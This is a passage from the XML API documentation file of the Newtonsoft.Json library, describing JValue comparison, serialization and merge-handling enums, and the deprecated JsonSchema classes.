</member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CompareTo(Newtonsoft.Json.Linq.JValue)\">\n            <summary>\n            Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object.\n            </summary>\n            <param name=\"obj\">An object to compare with this instance.</param>\n            <returns>\n            A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings:\n            Value\n            Meaning\n            Less than zero\n            This instance is less than <paramref name=\"obj\"/>.\n            Zero\n            This instance is equal to <paramref name=\"obj\"/>.\n            Greater than zero\n            This instance is greater than <paramref name=\"obj\"/>.\n            </returns>\n            <exception cref=\"T:System.ArgumentException\">\n            \t<paramref name=\"obj\"/> is not of the same type as this instance.\n            </exception>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.LineInfoHandling\">\n            <summary>\n            Specifies how line information is handled when loading JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.LineInfoHandling.Ignore\">\n            <summary>\n            Ignore line information.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.LineInfoHandling.Load\">\n            <summary>\n            Load line information.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.MergeArrayHandling\">\n            <summary>\n            Specifies how JSON arrays are merged together.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Concat\">\n            <summary>Concatenate arrays.</summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Union\">\n            <summary>Union arrays, skipping items that already exist.</summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Replace\">\n            <summary>Replace all array items.</summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Merge\">\n            <summary>Merge array items together, matched by index.</summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.MergeNullValueHandling\">\n            <summary>\n            Specifies how null value properties are merged.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeNullValueHandling.Ignore\">\n            <summary>\n            The content's null value properties will be ignored during merging.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeNullValueHandling.Merge\">\n            <summary>\n            The content's null value properties will be merged.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.MemberSerialization\">\n            <summary>\n            Specifies the member serialization options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MemberSerialization.OptOut\">\n            <summary>\n            All public members are serialized by default. Members can be excluded using <see cref=\"T:Newtonsoft.Json.JsonIgnoreAttribute\"/> or <see cref=\"T:System.NonSerializedAttribute\"/>.\n            This is the default member serialization mode.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MemberSerialization.OptIn\">\n            <summary>\n            Only members marked with <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/> or <see cref=\"!:DataMemberAttribute\"/> are serialized.\n            This member serialization mode can also be set by marking the class with <see cref=\"!:DataContractAttribute\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MemberSerialization.Fields\">\n            <summary>\n            All public and private fields are serialized. Members can be excluded using <see cref=\"T:Newtonsoft.Json.JsonIgnoreAttribute\"/> or <see cref=\"T:System.NonSerializedAttribute\"/>.\n            This member serialization mode can also be set by marking the class with <see cref=\"T:System.SerializableAttribute\"/>\n            and setting IgnoreSerializableAttribute on <see cref=\"T:Newtonsoft.Json.Serialization.DefaultContractResolver\"/> to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.MetadataPropertyHandling\">\n            <summary>\n            Specifies metadata property handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MetadataPropertyHandling.Default\">\n            <summary>\n            Read metadata properties located at the start of a JSON object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MetadataPropertyHandling.ReadAhead\">\n            <summary>\n            Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MetadataPropertyHandling.Ignore\">\n            <summary>\n            Do not try to read metadata properties.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.MissingMemberHandling\">\n            <summary>\n            Specifies missing member handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MissingMemberHandling.Ignore\">\n            <summary>\n            Ignore a missing member and do not attempt to deserialize it.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MissingMemberHandling.Error\">\n            <summary>\n            Throw a <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> when a missing member is encountered during deserialization.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.NullValueHandling\">\n            <summary>\n            Specifies null value handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeNullValueHandlingObject\" title=\"NullValueHandling Class\" />\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeNullValueHandlingExample\" title=\"NullValueHandling Ignore Example\" />\n            </example>\n        </member>\n        <member name=\"F:Newtonsoft.Json.NullValueHandling.Include\">\n            <summary>\n            Include null values when serializing and deserializing objects.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.NullValueHandling.Ignore\">\n            <summary>\n            Ignore null values when serializing and deserializing objects.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.ObjectCreationHandling\">\n            <summary>\n            Specifies how object creation is handled by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ObjectCreationHandling.Auto\">\n            <summary>\n            Reuse existing objects, create new objects when needed.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ObjectCreationHandling.Reuse\">\n            <summary>\n            Only reuse existing objects.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ObjectCreationHandling.Replace\">\n            <summary>\n            Always create new objects.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.PreserveReferencesHandling\">\n            <summary>\n            Specifies reference handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement <see cref=\"T:System.Runtime.Serialization.ISerializable\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"PreservingObjectReferencesOn\" title=\"Preserve Object References\" />       \n            </example>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.None\">\n            <summary>\n            Do not preserve references when serializing types.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.Objects\">\n            <summary>\n            Preserve references when serializing into a JSON object structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.Arrays\">\n            <summary>\n            Preserve references when serializing into a JSON array structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.All\">\n            <summary>\n            Preserve references when serializing.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.ReferenceLoopHandling\">\n            <summary>\n            Specifies reference loop handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ReferenceLoopHandling.Error\">\n            <summary>\n            Throw a <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> when a loop is encountered.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ReferenceLoopHandling.Ignore\">\n            <summary>\n            Ignore loop references and do not serialize.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ReferenceLoopHandling.Serialize\">\n            <summary>\n            Serialize loop references.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Required\">\n            <summary>\n            Indicating whether a property is required.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.Default\">\n            <summary>\n            The property is not required. The default state.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.AllowNull\">\n            <summary>\n            The property must be defined in JSON but can be a null value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.Always\">\n            <summary>\n            The property must be defined in JSON and cannot be a null value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.DisallowNull\">\n            <summary>\n            The property is not required but it cannot be a null value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.Extensions\">\n            <summary>\n            <para>\n            Contains the JSON schema extension methods.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.IsValid(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema)\">\n            <summary>\n            <para>\n            Determines whether the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.IsValid(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema,System.Collections.Generic.IList{System.String}@)\">\n            <summary>\n            <para>\n            Determines whether the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n            <param name=\"errorMessages\">When this method returns, contains any error messages generated while validating. </param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.Validate(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema)\">\n            <summary>\n            <para>\n            Validates the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.Validate(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema,Newtonsoft.Json.Schema.ValidationEventHandler)\">\n            <summary>\n            <para>\n            Validates the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n            <param name=\"validationEventHandler\">The validation event handler.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchema\">\n            <summary>\n            <para>\n            An in-memory representation of a JSON Schema.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Id\">\n            <summary>\n            Gets or sets the id.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Title\">\n            <summary>\n            Gets or sets the title.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Required\">\n            <summary>\n            Gets or sets whether the object is required.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.ReadOnly\">\n            <summary>\n            Gets or sets whether the object is read-only.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Hidden\">\n            <summary>\n            Gets or sets whether the object is visible to users.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Transient\">\n            <summary>\n            Gets or sets whether the object is transient.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Description\">\n            <summary>\n            Gets or sets the description of the object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Type\">\n            <summary>\n            Gets or sets the types of values allowed by the object.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Pattern\">\n            <summary>\n            Gets or sets the pattern.\n            </summary>\n            <value>The pattern.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MinimumLength\">\n            <summary>\n            Gets or sets the minimum length.\n            </summary>\n            <value>The minimum length.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MaximumLength\">\n            <summary>\n            Gets or sets the maximum length.\n            </summary>\n            <value>The maximum length.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.DivisibleBy\">\n            <summary>\n            Gets or sets a number that the value should be divisible by.\n            </summary>\n            <value>A number that the value should be divisible by.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Minimum\">\n            <summary>\n            Gets or sets the minimum.\n            </summary>\n            <value>The minimum.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Maximum\">\n            <summary>\n            Gets or sets the maximum.\n            </summary>\n            <value>The maximum.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.ExclusiveMinimum\">\n            <summary>\n            Gets or sets a flag indicating whether the value can not equal the number defined by the <c>minimum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Minimum\"/>).\n            </summary>\n            <value>A flag indicating whether the value can not equal the number defined by the <c>minimum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Minimum\"/>).</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.ExclusiveMaximum\">\n            <summary>\n            Gets or sets a flag indicating whether the value can not equal the number defined by the <c>maximum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Maximum\"/>).\n            </summary>\n            <value>A flag indicating whether the value can not equal the number defined by the <c>maximum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Maximum\"/>).</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MinimumItems\">\n            <summary>\n            Gets or sets the minimum number of items.\n            </summary>\n            <value>The minimum number of items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MaximumItems\">\n            <summary>\n            Gets or sets the maximum number of items.\n            </summary>\n            <value>The maximum number of items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Items\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of items.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.PositionalItemsValidation\">\n            <summary>\n            Gets or sets a value indicating whether items in an array are validated using the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> instance at their array position from <see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Items\"/>.\n            </summary>\n            <value>\n            \t<c>true</c> if items are validated using their array position; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AdditionalItems\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional items.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AllowAdditionalItems\">\n            <summary>\n            Gets or sets a value indicating whether additional items are allowed.\n            </summary>\n            <value>\n            \t<c>true</c> if additional items are allowed; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.UniqueItems\">\n            <summary>\n            Gets or sets whether the array items must be unique.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Properties\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of properties.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AdditionalProperties\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional properties.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.PatternProperties\">\n            <summary>\n            Gets or sets the pattern properties.\n            </summary>\n            <value>The pattern properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AllowAdditionalProperties\">\n            <summary>\n            Gets or sets a value indicating whether additional properties are allowed.\n            </summary>\n            <value>\n            \t<c>true</c> if additional properties are allowed; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Requires\">\n            <summary>\n            Gets or sets the required property if this property is present.\n            </summary>\n            <value>The required property if this property is present.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Enum\">\n            <summary>\n            Gets or sets the a collection of valid enum values allowed.\n            </summary>\n            <value>A collection of valid enum values allowed.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Disallow\">\n            <summary>\n            Gets or sets disallowed types.\n            </summary>\n            <value>The disallowed types.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Default\">\n            <summary>\n            Gets or sets the default value.\n            </summary>\n            <value>The default value.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Extends\">\n            <summary>\n            Gets or sets the collection of <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> that this schema extends.\n            </summary>\n            <value>The collection of <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> that this schema extends.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Format\">\n            <summary>\n            Gets or sets the format.\n            </summary>\n            <value>The format.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Read(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Reads a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the JSON Schema to read.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> object representing the JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Read(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Reads a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the JSON Schema to read.</param>\n            <param name=\"resolver\">The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> to use when resolving schema references.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> object representing the JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from a string that contains JSON Schema.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON Schema.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> populated from the string that contains JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Parse(System.String,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from a string that contains JSON Schema using the specified <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/>.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON Schema.</param>\n            <param name=\"resolver\">The resolver.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> populated from the string that contains JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.WriteTo(Newtonsoft.Json.JsonWriter)\">\n            <summary>\n            Writes this schema to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Writes this schema to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> using the specified <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"resolver\">The resolver used.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents the current <see cref=\"T:System.Object\"/>.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents the current <see cref=\"T:System.Object\"/>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaException\">\n            <summary>\n            <para>\n            Returns detailed information about the schema exception.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaException.LineNumber\">\n            <summary>\n            Gets the line number indicating where the error occurred.\n            </summary>\n            <value>The line number indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaException.LinePosition\">\n            <summary>\n            Gets the line position indicating where the error occurred.\n            </summary>\n            <value>The line position indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class.\n            </summary>\n            <param name=\"info\">The <see cref=\"T:System.Runtime.Serialization.SerializationInfo\"/> that holds the serialized object data about the exception being thrown.</param>\n            <param name=\"context\">The <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> that contains contextual information about the source or destination.</param>\n            <exception cref=\"T:System.ArgumentNullException\">The <paramref name=\"info\"/> parameter is <c>null</c>.</exception>\n            <exception cref=\"T:System.Runtime.Serialization.SerializationException\">The class name is <c>null</c> or <see cref=\"P:System.Exception.HResult\"/> is zero (0).</exception>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaGenerator\">\n            <summary>\n            <para>\n            Generates a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from a specified <see cref=\"T:System.Type\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaGenerator.UndefinedSchemaIdHandling\">\n            <summary>\n            Gets or sets how undefined schemas are handled by the serializer.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaGenerator.ContractResolver\">\n            <summary>\n            Gets or sets the contract resolver.\n            </summary>\n            <value>The contract resolver.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <param name=\"resolver\">The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> used to resolve schema references.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type,System.Boolean)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <param name=\"rootSchemaNullable\">Specify whether the generated root <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> will be nullable.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type,Newtonsoft.Json.Schema.JsonSchemaResolver,System.Boolean)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <param name=\"resolver\">The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> used to resolve schema references.</param>\n            <param name=\"rootSchemaNullable\">Specify whether the generated root <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> will 